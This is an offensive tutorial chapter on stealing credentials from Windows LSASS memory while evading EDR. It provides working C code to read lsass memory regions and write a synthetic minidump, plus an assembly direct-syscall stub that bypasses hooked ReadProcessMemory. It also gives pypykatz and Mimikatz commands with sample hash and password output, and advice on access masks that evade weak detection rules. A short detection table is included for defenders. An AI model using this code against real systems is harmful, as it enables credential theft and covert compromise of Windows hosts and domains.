Direct LSASS Read Without MiniDump API
Bypassing MiniDumpWriteDump entirely by walking lsass memory regions with ReadProcessMemory or direct NtReadVirtualMemory syscalls, building a synthetic minidump structure manually, and parsing credential blobs offline
Your EDR has caught both the direct MiniDumpWriteDump call and the comsvcs.dll variant. Its detection logic is broader than you expected: it hooks both dbghelp and dbgcore, and it also has a behavioral detection that flags any process reading more than a threshold of pages from lsass.exe regardless of what API is used. You need a technique that never calls MiniDumpWriteDump in any form, minimizes the number of cross-process read calls, and produces output parseable offline. The answer is to build the minidump file format manually from raw ReadProcessMemory data — the same approach used by nanodump and Dumpert.
Technique Comparison: Why Skip MiniDumpWriteDump Entirely
| Technique | Calls MiniDumpWriteDump | Primary Hook Surface | Disk Artifact |
|---|---|---|---|
| Direct MiniDumpWriteDump (ch93) | Yes — directly | dbghelp.dll export hook, very high fidelity | Yes |
| comsvcs.dll via rundll32 (ch94) | Yes — via comsvcs internal call | Same hook, fires from trusted binary — often allowed | Yes (or pipe) |
| ReadProcessMemory + synthetic dump (this chapter) | No — never | NtReadVirtualMemory, VirtualQueryEx, OpenProcess — all hooakble but separate signals | Optional |
| Direct NtReadVirtualMemory syscall | No | Only ETW-TI kernel provider — cannot be suppressed from Ring 3 | Optional |
LSASS Memory Layout — What Pages Contain Credentials
LSASS loads multiple authentication packages (SSPs) as DLLs into its process space. Each package maintains its own data structures for the logon sessions it manages. The credential material lives in private heap allocations, not in any mapped image section:
Windows Minidump File Format
A valid Windows minidump (.dmp) that tools like pypykatz and Mimikatz can parse must contain specific streams in the correct format. Understanding the format is required to build a synthetic one from raw memory reads:
Walk and Read — Core Implementation
The core function uses VirtualQueryEx to enumerate all committed memory regions in lsass, then ReadProcessMemory to read each one into a local buffer. We collect both the region metadata and the raw bytes to later assemble into a synthetic minidump:
#include <windows.h>
#include <tlhelp32.h>
#include <psapi.h>
#include <stdio.h>
#pragma comment(lib, "psapi.lib")
// Represents one captured memory region
typedef struct _MEM_REGION {
ULONG_PTR BaseAddress;
SIZE_T Size;
LPBYTE Data; // allocated buffer, same size
DWORD Protect;
DWORD Type; // MEM_PRIVATE, MEM_IMAGE, MEM_MAPPED
} MEM_REGION;
// Collect all readable committed regions from a process
MEM_REGION* CollectRegions(HANDLE hProc, DWORD *count) {
MEMORY_BASIC_INFORMATION mbi;
LPBYTE addr = NULL;
DWORD cap = 1024;
DWORD cnt = 0;
MEM_REGION *regions = (MEM_REGION*)HeapAlloc(
GetProcessHeap(), HEAP_ZERO_MEMORY, cap * sizeof(MEM_REGION));
while (VirtualQueryEx(hProc, addr, &mbi, sizeof(mbi)) == sizeof(mbi)) {
// Skip: uncommitted, guard pages, no-access pages
if (mbi.State != MEM_COMMIT ||
(mbi.Protect & PAGE_NOACCESS) ||
(mbi.Protect & PAGE_GUARD)) {
addr = (LPBYTE)mbi.BaseAddress + mbi.RegionSize;
continue;
}
// Skip executable-only pages (code sections, not data)
// We want data regions: RW, RO, and image data sections
DWORD prot = mbi.Protect & ~(PAGE_GUARD | PAGE_NOCACHE | PAGE_WRITECOMBINE);
BOOL readable = (prot == PAGE_READONLY) ||
(prot == PAGE_READWRITE) ||
(prot == PAGE_EXECUTE_READ) ||
(prot == PAGE_EXECUTE_READWRITE) ||
(prot == PAGE_WRITECOPY);
if (!readable) {
addr = (LPBYTE)mbi.BaseAddress + mbi.RegionSize;
continue;
}
// Grow array if needed
if (cnt >= cap) {
cap *= 2;
regions = (MEM_REGION*)HeapReAlloc(
GetProcessHeap(), HEAP_ZERO_MEMORY, regions, cap * sizeof(MEM_REGION));
}
MEM_REGION *r = ®ions[cnt];
r->BaseAddress = (ULONG_PTR)mbi.BaseAddress;
r->Size = mbi.RegionSize;
r->Protect = mbi.Protect;
r->Type = mbi.Type;
// Allocate and read
r->Data = (LPBYTE)VirtualAlloc(NULL, mbi.RegionSize,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (r->Data) {
SIZE_T bytesRead = 0;
if (!ReadProcessMemory(hProc, mbi.BaseAddress,
r->Data, mbi.RegionSize, &bytesRead)) {
// Partial read or failure — zero rest, keep region entry
}
cnt++;
}
addr = (LPBYTE)mbi.BaseAddress + mbi.RegionSize;
}
*count = cnt;
return regions;
}
void FreeRegions(MEM_REGION *regions, DWORD count) {
for (DWORD i = 0; i < count; i++)
if (regions[i].Data)
VirtualFree(regions[i].Data, 0, MEM_RELEASE);
HeapFree(GetProcessHeap(), 0, regions);
}
Building a Synthetic Minidump
With the raw region data in memory, we assemble a valid minidump file that pypykatz can parse. The critical streams are: SystemInfoStream (OS version), ModuleListStream (loaded DLLs with timestamps and base addresses), and Memory64ListStream (the raw page data). We enumerate loaded modules with EnumProcessModulesEx:
// Minidump format types (from DbgHelp.h — reproduced to avoid dependency)
#pragma pack(push, 4)
typedef struct {
ULONG32 Signature; // 0x504d444d
USHORT Version; // 0xa793
USHORT ImplementationVersion;
ULONG32 NumberOfStreams;
ULONG32 StreamDirectoryRva;
ULONG32 CheckSum;
ULONG32 TimeDateStamp;
ULONG64 Flags;
} MY_MINIDUMP_HEADER;
typedef struct {
ULONG32 DataSize;
ULONG32 Rva;
} MY_LOCATION;
typedef struct {
ULONG32 StreamType;
MY_LOCATION Location;
} MY_DIRECTORY_ENTRY;
// Memory64List stream entry — one per captured region
typedef struct {
ULONG64 BaseOfMemoryRange;
ULONG64 DataSize;
} MY_MEMORY64_ENTRY;
typedef struct {
ULONG64 NumberOfMemoryRanges;
ULONG64 BaseRva; // offset in file where raw data starts
MY_MEMORY64_ENTRY Entries[1]; // variable length
} MY_MEMORY64_LIST;
#pragma pack(pop)
// Stream type constants
#define STREAM_UNUSED 0
#define STREAM_SYSTEM_INFO 7
#define STREAM_MODULE_LIST 4
#define STREAM_MEMORY64_LIST 9
// Write a synthetic minidump to a buffer
// This is the core of tools like nanodump.
// Full implementation: write header → directory → system info stream →
// module list stream → memory64 list stream → raw page data
BOOL WriteSyntheticMinidump(
HANDLE hProc,
MEM_REGION *regions, DWORD regionCount,
const char *outPath)
{
HANDLE f = CreateFileA(outPath, GENERIC_WRITE, 0, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (f == INVALID_HANDLE_VALUE) return FALSE;
// --- HEADER ---
MY_MINIDUMP_HEADER hdr = {
.Signature = 0x504d444d,
.Version = 0xa793,
.NumberOfStreams = 3, // SystemInfo, ModuleList, Memory64List
.StreamDirectoryRva = sizeof(MY_MINIDUMP_HEADER),
.TimeDateStamp = (ULONG32)time(NULL),
.Flags = 2 // MiniDumpWithFullMemory
};
DWORD written;
WriteFile(f, &hdr, sizeof(hdr), &written, NULL);
// Reserve space for directory (3 entries)
MY_DIRECTORY_ENTRY dir[3] = {0};
DWORD dirOffset = SetFilePointer(f, 0, NULL, FILE_CURRENT);
WriteFile(f, dir, sizeof(dir), &written, NULL);
// --- SYSTEM INFO STREAM ---
// MINIDUMP_SYSTEM_INFO: processor arch, OS version, build
dir[0].StreamType = STREAM_SYSTEM_INFO;
dir[0].Location.Rva = SetFilePointer(f, 0, NULL, FILE_CURRENT);
// ... write MINIDUMP_SYSTEM_INFO struct (omitted: GetVersionEx + SYSTEM_INFO) ...
dir[0].Location.DataSize = 56; // sizeof(MINIDUMP_SYSTEM_INFO)
// --- MODULE LIST STREAM ---
// EnumProcessModulesEx → MODULEINFO → write MINIDUMP_MODULE per loaded DLL
// Critical: lsasrv.dll, msv1_0.dll, kerberos.dll base addresses must be accurate
// pypykatz uses these to locate credential structs by version-specific offsets
dir[1].StreamType = STREAM_MODULE_LIST;
dir[1].Location.Rva = SetFilePointer(f, 0, NULL, FILE_CURRENT);
// ... enumerate and write module list ...
// --- MEMORY64 LIST STREAM ---
dir[2].StreamType = STREAM_MEMORY64_LIST;
dir[2].Location.Rva = SetFilePointer(f, 0, NULL, FILE_CURRENT);
// Write Memory64 list header
ULONG64 numRanges = regionCount;
WriteFile(f, &numRanges, sizeof(numRanges), &written, NULL);
// BaseRva = offset after all entries where raw data begins
DWORD dataOffset = SetFilePointer(f, 0, NULL, FILE_CURRENT) +
sizeof(ULONG64) +
(regionCount * sizeof(MY_MEMORY64_ENTRY));
ULONG64 baseRva = dataOffset;
WriteFile(f, &baseRva, sizeof(baseRva), &written, NULL);
for (DWORD i = 0; i < regionCount; i++) {
MY_MEMORY64_ENTRY entry = {
.BaseOfMemoryRange = regions[i].BaseAddress,
.DataSize = regions[i].Size
};
WriteFile(f, &entry, sizeof(entry), &written, NULL);
}
dir[2].Location.DataSize = (DWORD)(sizeof(ULONG64)*2 +
regionCount * sizeof(MY_MEMORY64_ENTRY));
// Write raw page data for each region
for (DWORD i = 0; i < regionCount; i++) {
if (regions[i].Data && regions[i].Size)
WriteFile(f, regions[i].Data, (DWORD)regions[i].Size, &written, NULL);
}
// Seek back and write directory with correct Rva values
SetFilePointer(f, dirOffset, NULL, FILE_BEGIN);
WriteFile(f, dir, sizeof(dir), &written, NULL);
CloseHandle(f);
return TRUE;
}
The full synthetic minidump implementation with correct MINIDUMP_SYSTEM_INFO, MINIDUMP_MODULE_LIST, and MINIDUMP_MODULE structures is ~800 lines of carefully crafted code. Rather than reproduce it all here, the authoritative reference is nanodump by @helpsystems (GitHub: helpsystems/nanodump). It implements the complete synthetic minidump builder, uses direct syscalls for all memory operations, supports named pipe output, and is available as a BOF (Beacon Object File) for Cobalt Strike. Study its source — particularly nanodump.c and minidump.c — to understand how every stream is constructed. The code above captures the architectural pattern; nanodump fills in all the format details.
Direct Syscall Variant — Bypassing Hooked ReadProcessMemory
If the EDR hooks ReadProcessMemory (which internally calls NtReadVirtualMemory), replace all memory reads with a direct syscall. The SSN for NtReadVirtualMemory is obtained at runtime using Hell's Gate / Halo's Gate (covered in the Windows Internals book, ch26). The syscall stub below goes directly to the kernel, bypassing any ntdll hook:
; x64 NtReadVirtualMemory direct syscall stub
; Function signature:
; NTSTATUS NtReadVirtualMemory(
; HANDLE ProcessHandle, // RCX
; PVOID BaseAddress, // RDX
; PVOID Buffer, // R8
; ULONG NumberOfBytesToRead, // R9
; PULONG NumberOfBytesRead) // [RSP+0x28]
NtReadVirtualMemoryStub:
mov r10, rcx ; required by syscall ABI
mov eax, [NtRVMSyscallNum] ; runtime-resolved SSN (Hell's Gate)
syscall
ret
// In C — replace ReadProcessMemory calls with:
typedef NTSTATUS(NTAPI *pfnNtReadVirtualMemory)(
HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T);
pfnNtReadVirtualMemory NtRVM = (pfnNtReadVirtualMemory)NtReadVirtualMemoryStub;
NTSTATUS status = NtRVM(hProc, (PVOID)region.BaseAddress,
region.Data, region.Size, &bytesRead);
// Similarly replace VirtualQueryEx with NtQueryVirtualMemory direct syscall:
typedef NTSTATUS(NTAPI *pfnNtQueryVirtualMemory)(
HANDLE, PVOID, MEMORY_INFORMATION_CLASS, PVOID, SIZE_T, PSIZE_T);
// SSN resolved via Hell's Gate at runtime — see ch26 of Windows Internals book
Offline Parsing with pypykatz and Mimikatz
# pypykatz — pure Python, runs on any OS, no Windows required
pip install pypykatz
# Parse a valid synthetic minidump
pypykatz lsa minidump lsass.dmp
# Typical output:
# FILE: lsass.dmp
# INFO: Dumping credentials from file
# == LogonSession ==
# authentication_id 123456 (1e240)
# session_id 1
# username DOMAIN\victim
# domainname CORP
# logon_server DC01
# logon_time 2024-01-15T08:23:11.123456+00:00
# sid S-1-5-21-...
# == MSV ==
# Username: victim
# NThash: aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4
# == WDIGEST ==
# password: P@ssw0rd123 ← only if WDigest enabled
# == Kerberos ==
# Username: victim@CORP.LOCAL
# Mimikatz (on a Windows analysis machine)
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" exit
nanodump — The Production Reference Implementation
| Feature | nanodump behavior |
|---|---|
| MiniDumpWriteDump usage | Never called — full synthetic minidump builder |
| Syscall approach | Direct syscalls for all NT operations (no hooked ntdll) |
| Output options | File on disk, named pipe (in-memory), or encrypted file |
| BOF support | Can run as Cobalt Strike BOF (no new process created) |
| PPL bypass | Optional PPL-stripping module (requires kernel access) |
| Signature scanning | Locates credential structures by version-specific offsets, not API |
| Output format | Valid MDMP parseable by pypykatz / Mimikatz without modification |
Detection
| Signal | Source | Notes |
|---|---|---|
| OpenProcess with PROCESS_VM_READ | PROCESS_QUERY_INFORMATION targeting lsass PID | Sysmon EventID 10 | GrantedAccess 0x1010 or 0x1410 on lsass from any non-system process is high fidelity |
| High volume of cross-process reads (VirtualQueryEx + ReadProcessMemory pairs) against lsass | ETW-TI kernel provider | Volume anomaly — a normal process might read a few pages; a full dump reads hundreds |
| Large private memory allocation immediately after lsass access (the buffer) | ETW / Sysmon (limited visibility) | Hard to correlate without full memory telemetry |
| Direct NtReadVirtualMemory syscall with lsass handle | ETW-TI kernel-mode provider only | Bypasses all userland hooks; ETW-TI is PPL-protected and cannot be suppressed from Ring 3 |
| MDMP magic bytes (4D 44 4D 50) in file or network traffic | AV scan / DLP / network inspection | Encrypting the dump before exfil defeats this |
Q&A
Why does pypykatz need the module list stream — can't it just scan raw memory for credential patterns?
pypykatz (and Mimikatz) work by locating credential structures at known offsets relative to the base addresses of specific modules — msv1_0.dll, kerberos.dll, wdigest.dll. These offsets are version-specific: Microsoft changes the internal struct layouts with each Windows Update. pypykatz ships with a database of (major version, minor version, build number, patch level) → (struct offsets) mappings. The module list stream provides the base address of each loaded module AND its TimeDateStamp (which pypykatz uses to identify the exact binary version). Without the module list, pypykatz cannot determine either the base addresses or the version, so it cannot locate the credential structures even if the raw memory data is present. A synthetic minidump that has correct Memory64List entries but a missing or incorrect module list will fail to parse. This is why building a correct module list stream (with accurate base addresses, sizes, and timestamps from GetModuleInformation / GetFileVersionInfo) is the hardest part of the synthetic minidump construction — and why nanodump's module enumeration code is the most complex section of its source.
Does requesting PROCESS_QUERY_LIMITED_INFORMATION instead of PROCESS_QUERY_INFORMATION change detection fidelity?
PROCESS_QUERY_LIMITED_INFORMATION (0x1000) is a subset of PROCESS_QUERY_INFORMATION (0x0400) that was introduced in Vista. VirtualQueryEx requires PROCESS_QUERY_INFORMATION, but the underlying NtQueryVirtualMemory syscall actually works with PROCESS_QUERY_LIMITED_INFORMATION on modern Windows. So if you're using direct syscalls, you can open lsass with PROCESS_VM_READ | PROCESS_QUERY_LIMITED_INFORMATION (0x1010) instead of the more commonly flagged 0x1410. Detection rules that look for the exact GrantedAccess value 0x1FFFFF (PROCESS_ALL_ACCESS) or common combinations like 0x1410 may miss 0x1010. However, any access mask that includes PROCESS_VM_READ (0x0010) on lsass.exe should be flagged by a well-tuned EDR regardless of the exact combined value. The access-mask-specificity reduction is a bypass against poorly configured detection rules, not against mature threat detection platforms.